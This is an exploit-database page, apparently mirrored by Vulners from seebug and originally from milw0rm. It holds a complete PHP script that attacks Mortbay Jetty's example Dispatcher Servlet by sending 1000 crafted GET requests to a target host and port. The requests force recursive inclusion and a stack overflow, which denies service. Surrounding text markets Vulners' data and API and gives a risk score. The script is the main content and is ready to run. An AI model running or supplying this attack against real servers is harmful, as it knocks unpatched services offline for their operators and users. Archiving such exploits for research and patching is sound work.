Lucene search
K

Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Mortbay Jetty Dispatcher Servlet Denial of Service vulnerabilit

Code

                                                &#60;?php
####################################################################################
# Mortbay Jetty &#60;= 7.0.0-pre5 Dispatcher Servlet DoS							  	
#																					
# Affected Software: Jetty &#60; 6.1.16, &#60; 7.0.0.pre5 (all platforms)					
# Author: Ikki (http://blog.nibblesec.org/)											
#																					
# Description: 																		
# The dispatcher servlet (com.acme.DispatchServlet) is prone to a DoS vulnerability.
# This example servlet is meant to be used as a resources dispatcher, however a 	
# malicious aggressor may abuse this functionality in order to cause a recursive 	
# inclusion. In detail, it is possible to abuse the method  						
# com.acme.DispatchServlet.doGet(DispatchServlet.java:203) forcing the application 	
# to recursively include the &#34;DispatchServlet&#34;. 									
# As a result, it is possible to trigger a &#34;java.lang.StackOverflowError&#34; and 		
# consequently an internal server error (500). Multiple requests may easily affect 	
# the availability of the entire servlet container. 								
####################################################################################

error_reporting(E_ALL&E_NOTICE);
echo(&#34;\n\n :: Jetty Dispatcher Servlet DoS - http://blog.nibblesec.org  ::\n&#34;);
echo(&#34; :: Affected Software: Jetty &#60; 6.1.16, &#60; 7.0.0.pre5 - all platforms :: \n\n&#34;);

if($argc==3){
	$cont=0;
	$reqNum=1000;
	$req = &#34;GET /dispatch/includeN/Dispatch HTTP/1.0\r\n&#34;;
	$req .= &#34;Host: &#34;.$argv[1].&#34;\r\n&#34;;
	$req .= &#34;\r\n&#34;;
	while($cont&#60;$reqNum){
		$sock = fsockopen($argv[1],$argv[2],$errno,$errstr,30);
		if(!$sock){
			echo &#34;\nNo response from &#34;.$argv[1];
			die;
		}
		fwrite($sock,$req);
		fclose($sock);
		echo(&#34;.&#34;);
		$cont++;
	}
	echo (&#34;\n\nCheck your servlet container, after &#34; . $reqNum . &#34; requests:\n&#34; . &#34;http://&#34; . $argv[1] . &#34;:&#34; . $argv[2] . &#34;/&#34;);
}else{
	echo(&#34;\nphp &#34; . $argv[0] . &#34; &#60;host&#62; &#60;port&#62;\n\n&#34;);
}

# milw0rm.com [2009-05-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15